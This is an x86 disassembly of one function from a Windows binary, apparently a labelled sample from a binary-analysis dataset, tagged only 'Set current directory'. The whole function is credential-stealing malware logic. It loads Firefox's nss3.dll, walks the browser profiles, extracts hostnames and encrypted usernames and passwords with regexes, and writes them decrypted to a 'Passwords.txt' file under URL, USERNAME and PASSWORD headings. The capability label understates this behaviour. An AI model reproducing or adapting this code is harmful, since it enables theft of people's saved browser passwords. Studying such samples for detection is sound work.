Function at 0x4307a0
Capabilities:
Set current directory

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65b266
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x260
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x33
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push str.92_80_97_115_115_119_111_114_100_115_46_116_120_116
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.00423ce0
lea edx, [ebp - 0x40]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x128]
call fcn.00421f10
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x2c]
cmp ecx, 7
jbe 0x43085c
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x430852
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318ea
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x114], 0xf
lea ecx, [ebp - 0x128]
mov eax, dword [ebp - 0x118]
cmova ecx, dword [ebp - 0x128]
add eax, ecx
cmp dword [ebp - 0x114], 0xf
lea ecx, [ebp - 0x128]
cmova ecx, dword [ebp - 0x128]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x248]
call fcn.00459b80
mov byte [ebp - 4], 3
mov ecx, 0x6ee414
cmp dword [0x6ee428], 7
push dword [0x6ee424]
cmova ecx, dword [0x6ee414]
push ecx
push ecx
mov ecx, eax
call fcn.00466f10
mov dword [ebp - 0xc8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc4], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x234]
cmp ecx, 7
jbe 0x43094c
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x430942
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318b8
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x238], 0
push 0xb0
push eax
mov word [ebp - 0x248], ax
lea eax, [ebp - 0x228]
push eax
mov dword [ebp - 0x234], 7
call fcn.00621d30
add esp, 4
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0x228]
push 8
push eax
call fcn.0043f370
mov byte [ebp - 4], 6
cmp dword [ebp - 0x1d8], 0
je 0x431791
lea ecx, [ebp - 0x178]
call fcn.0042fc60
mov byte [ebp - 4], 7
cmp dword [ebp - 0x168], 0
je 0x431753
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x60]
call fcn.00447ad0
mov al, byte [0x6ac8c4]
cmp dword [ebp - 0x4c], 0xf
movq xmm0, qword [str.nss3.dll]
mov byte [ebp - 0x20], al
lea eax, [ebp - 0x60]
cmova eax, dword [ebp - 0x60]
push eax
movq qword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4c]
mov esi, eax
test esi, esi
jne 0x430a50
cmp ecx, 0xf
jbe 0x430a39
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430a2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318bd
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
jmp 0x43171b
cmp ecx, 0xf
jbe 0x430a81
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430a77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318bd
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, esi
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call fcn.0042f2f0
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
lea ecx, [ebp - 0x84]
movq qword [ebp - 0x84], xmm0
call fcn.0042ff50
mov byte [ebp - 4], 8
mov edi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x230], edi
cmp edi, eax
je 0x43170c
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x24c], edi
cmp edi, dword [ebp - 0x254]
je 0x43170c
cmp dword [edi + 0x14], 0xf
mov eax, edi
mov ecx, dword [0x6ee224]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x250], eax
jbe 0x430b06
mov eax, dword [edi]
push eax
call ecx
add esp, 4
test eax, eax
jne 0x4316ce
cmp dword [edi + 0x14], 0xf
mov esi, edi
jbe 0x430b1e
mov esi, dword [edi]
sub esp, 0x18
mov ecx, esi
mov edx, esp
xorps xmm0, xmm0
lea edi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430b40
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.004113d0
call fcn.0042f8b0
mov edx, eax
mov dword [ebp - 0x68], 0
mov ecx, edx
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
add esp, 0x18
movups xmmword [ebp - 0x78], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430b76
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x78]
call fcn.004113d0
mov byte [ebp - 4], 9
cmp dword [ebp - 0x68], 0
je 0x4316dc
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
push 0x51
push str.92_34_104_111_115_116_110_97_109_101_92_34_58_92_34_40_91_94_92_34_93_43_41_92_34
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.004113d0
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x248]
call fcn.00424de0
mov esi, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0xc0], 0
call fcn.00448300
mov byte [ebp - 4], 0xc
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x430c0c
add eax, dword [esi]
mov esi, dword [esi]
jmp 0x430c0e
add eax, esi
push ecx
push eax
push esi
lea ecx, [ebp - 0xc0]
call fcn.0045d8a0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe 0x430c5a
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430c50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318c2
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x430cad
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430ca3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318c2
push ecx
push edx
call fcn.0061f90d
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
push 0x73
push str.92_34_101_110_99_114_121_112_116_101_100_85_115_101_114_110_97_109_101_92_34_58_92_34_40_91_94_92_34_93_43_41_92_34
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.004113d0
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x60]
call fcn.00424de0
mov esi, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xac], 0
call fcn.00448300
mov byte [ebp - 4], 0x12
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x430d1f
add eax, dword [esi]
mov esi, dword [esi]
jmp 0x430d21
add eax, esi
push ecx
push eax
push esi
lea ecx, [ebp - 0xac]
call fcn.0045d8a0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0xf
jbe 0x430d67
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430d5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318c7
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x430db1
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430da7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318c7
push ecx
push edx
call fcn.0061f90d
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x88], 0
push 0x73
push str.92_34_101_110_99_114_121_112_116_101_100_80_97_115_115_119_111_114_100_92_34_58_92_34_40_91_94_92_34_93_43_41_92_34
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.004113d0
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x248]
call fcn.00424de0
mov esi, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x98], 0
call fcn.00448300
mov byte [ebp - 4], 0x18
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x430e26
add eax, dword [esi]
mov esi, dword [esi]
jmp 0x430e28
add eax, esi
push ecx
push eax
push esi
lea ecx, [ebp - 0x98]
call fcn.0045d8a0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe 0x430e74
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430e6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318cc
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x430ec7
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430ebd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318cc
push ecx
push edx
call fcn.0061f90d
add esp, 8
push 0x38
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.00621d30
xorps xmm0, xmm0
mov dword [ebp - 0x110], 0
add esp, 0xc
mov byte [ebp - 0x10c], 0
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov byte [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov byte [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
mov byte [ebp - 0xdc], 0
mov byte [ebp - 4], 0x1c
lea esi, [ebp - 0x78]
cmp dword [ebp - 0x64], 0xf
cmova esi, dword [ebp - 0x78]
mov dword [ebp - 0x44], esi
nop
cmp dword [ebp - 0x64], 0xf
lea ecx, [ebp - 0x78]
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0xc0]
cmova ecx, dword [ebp - 0x78]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0x110]
push eax
push esi
call fcn.0045d3c0
add esp, 0x10
test al, al
je 0x43154f
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 0x1d
push str.BROWSER_NAME_:
push eax
call fcn.00453940
add esp, 8
push str.Mozilla_Firefox_Browser
push eax
call fcn.00453940
add esp, 8
push 0x6acae4
push eax
call fcn.00453940
add esp, 8
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x5c], xmm0
push 0x38
push str.82_34_40_91_94_92_92_93_43_40_63_61_92_92_63_36_41_41_34
movups xmmword [ebp - 0x40], xmm0
call fcn.004113d0
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x248]
call fcn.00424de0
mov edi, eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x5c], 0
call fcn.00448300
mov byte [ebp - 4], 0x20
cmp dword [edi + 0x14], 0xf
mov eax, dword [edi + 0x10]
jbe 0x43101d
add eax, dword [edi]
mov edi, dword [edi]
jmp 0x43101f
add eax, edi
push ecx
push eax
push edi
lea ecx, [ebp - 0x5c]
call fcn.0045d8a0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe 0x431068
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43105e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318d1
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x4310bb
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4310b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318d1
push ecx
push edx
call fcn.0061f90d
add esp, 8
push 0x38
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.00621d30
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0
add esp, 0xc
mov byte [ebp - 0x15c], 0
movups xmmword [ebp - 0x158], xmm0
mov dword [ebp - 0x148], 0
mov byte [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
mov byte [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
mov byte [ebp - 0x12c], 0
mov edi, dword [ebp - 0x258]
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x22c], edi
mov ecx, dword [edi + 0x14]
cmp ecx, 0xf
jbe 0x43115f
mov eax, dword [edi]
mov ecx, eax
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x250]
mov edx, dword [eax + 0x10]
add edx, ecx
jmp 0x43116b
mov edx, dword [edi + 0x10]
mov eax, edi
add edx, edi
cmp ecx, 0xf
jbe 0x43116d
mov eax, dword [edi]
push dword [ebp - 0x22c]
push ecx
push edx
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x160]
call fcn.0045d3c0
add esp, 0x10
test al, al
je 0x4312b8
push 0
lea eax, [ebp - 0x270]
push eax
lea ecx, [ebp - 0x160]
call fcn.00442840
push 8
push 0x6acb3c
push 0
mov ecx, eax
mov byte [ebp - 4], 0x25
call fcn.004670d0
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0xf
jbe 0x43122c
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431222
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318d6
push ecx
push edx
call fcn.0061f90d
add esp, 8
lea eax, [ebp - 0x228]
mov dword [ebp - 0x260], 0
push str.PROFILE_:
push eax
mov dword [ebp - 0x25c], 0xf
mov byte [ebp - 0x270], 0
call fcn.00453940
add esp, 8
lea ecx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0xf
cmova ecx, dword [ebp - 0x40]
push dword [ebp - 0x30]
push ecx
push eax
call fcn.0046e7f0
add esp, 0xc
push 0x6acae4
push eax
call fcn.00453940
mov byte [ebp - 4], 0x24
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x4312e8
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4312af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318db
push ecx
push edx
call fcn.0061f90d
jmp 0x4312e5
lea eax, [ebp - 0x228]
push str.PROFILE_:
push eax
call fcn.00453940
add esp, 8
push str.UKNOWN
push eax
call fcn.00453940
add esp, 8
push 0x6acae4
push eax
call fcn.00453940
add esp, 8
lea eax, [ebp - 0x228]
push str.__________________________________________n
push eax
call fcn.00453940
add esp, 8
lea eax, [ebp - 0x228]
push str.URL:
push eax
call fcn.00453940
add esp, 8
lea ecx, [ebp - 0x110]
mov edi, eax
lea eax, [ebp - 0x270]
push 1
push eax
call fcn.00442840
mov byte [ebp - 4], 0x28
cmp dword [eax + 0x14], 0xf
jbe 0x431332
mov eax, dword [eax]
mov ecx, eax
call fcn.004306e0
push eax
push edi
call fcn.00453940
add esp, 8
push 0x6acb74
push eax
call fcn.00453940
mov byte [ebp - 4], 0x24
add esp, 8
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0xf
jbe 0x43138f
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431385
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318e0
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x64], 0xf
lea ecx, [ebp - 0x78]
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0xac]
cmova ecx, dword [ebp - 0x78]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0x110]
push eax
push esi
call fcn.0045d3c0
add esp, 0x10
lea ecx, [ebp - 0x110]
sub esp, 0x18
mov eax, esp
push 1
push eax
call fcn.00442840
call fcn.0042fad0
add esp, 0x18
mov ecx, eax
call fcn.004306e0
mov edi, eax
lea eax, [ebp - 0x228]
push str.USERNAME:
push eax
call fcn.00453940
add esp, 8
push edi
push eax
call fcn.00453940
add esp, 8
push 0x6acb74
push eax
call fcn.00453940
mov eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x78]
add esp, 8
lea edx, [ebp - 0x98]
cmp dword [ebp - 0x64], 0xf
cmova ecx, dword [ebp - 0x78]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0x110]
push eax
push esi
call fcn.0045d3c0
add esp, 0x10
lea ecx, [ebp - 0x110]
sub esp, 0x18
mov eax, esp
push 1
push eax
call fcn.00442840
call fcn.0042fad0
add esp, 0x18
mov ecx, eax
call fcn.004306e0
mov edi, eax
lea eax, [ebp - 0x228]
push str.PASSWORD:
push eax
call fcn.00453940
add esp, 8
push edi
push eax
call fcn.00453940
add esp, 8
push 0x6acb74
push eax
call fcn.00453940
add esp, 8
lea eax, [ebp - 0x228]
push str.__________________________________________n
push eax
call fcn.00453940
mov ecx, dword [ebp - 0x104]
add esp, 8
mov edi, dword [ebp - 0x108]
sub ecx, edi
mov eax, 0x2aaaaaab
imul ecx
lea eax, [ebp - 0xe4]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmovne eax, edi
cmp byte [eax + 8], 0
je 0x4314cd
mov edx, dword [eax]
mov dword [ebp - 0x44], edx
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x44]
jmp 0x4314d1
xor edx, edx
xor eax, eax
sub edx, eax
test ecx, ecx
lea eax, [ebp - 0xe4]
cmovne eax, edi
lea ecx, [ebp - 0x158]
mov eax, dword [eax]
sub eax, dword [ebp - 0x110]
add eax, edx
add esi, eax
mov dword [ebp - 0x44], esi
call fcn.00441190
lea ecx, [ebp - 0x5c]
call fcn.0044bc10
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
je 0x43151c
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x43151c
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov dword [ebp - 4], 0x1c
jmp 0x430f50
lea ecx, [ebp - 0x108]
call fcn.00441190
mov ecx, dword [ebp - 0x98]
test ecx, ecx
je 0x43158f
or eax, 0xffffffff
lock xadd dword [ecx + 0x20], eax
jne 0x43158f
mov esi, dword [ebp - 0x98]
test esi, esi
je 0x43158f
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x431578
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x98], 0
test ecx, ecx
je 0x4315b8
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x4315b8
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [ebp - 0xac]
test ecx, ecx
je 0x4315ed
or eax, 0xffffffff
lock xadd dword [ecx + 0x20], eax
jne 0x4315ed
mov esi, dword [ebp - 0xac]
test esi, esi
je 0x4315ed
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x4315d6
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0xac], 0
test ecx, ecx
je 0x431616
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x431616
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xc0]
test ecx, ecx
je 0x43164f
or eax, 0xffffffff
lock xadd dword [ecx + 0x20], eax
jne 0x43164f
mov esi, dword [ebp - 0xc0]
test esi, esi
je 0x43164f
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x431638
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0xc0], 0
test ecx, ecx
je 0x431678
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x431678
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
call dword [0x6ee21c]
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x64]
cmp ecx, 0xf
jbe 0x4316b6
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4316ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318e5
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov edi, dword [ebp - 0x230]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
add edi, 0x18
mov dword [ebp - 0x230], edi
jmp 0x430ad8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x64]
cmp ecx, 0xf
jbe 0x4316b6
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4316ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318e5
jmp 0x4316ac
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 7
call fcn.004439d0
lea ecx, [ebp - 0x224]
call fcn.0044bb30
test eax, eax
jne 0x431753
mov eax, dword [ebp - 0x228]
lea ecx, [ebp - 0x228]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405010
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x431791
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431787
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318ea
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov eax, dword [ebp - 0x228]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x228]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x22c], eax
lea ecx, [ebp - 0x224]
call fcn.00441e90
mov eax, dword [ebp - 0x228]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x228]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x22c], eax
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0x2a
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0060dece
mov ecx, dword [ebp - 0xc4]
add esp, 4
cmp ecx, 7
jbe 0x431847
mov edx, dword [ebp - 0xd8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43183d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318ea
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x114]
xor eax, eax
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 7
mov word [ebp - 0xd8], ax
cmp ecx, 0xf
jbe 0x43189a
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431890
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4318ea
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
int3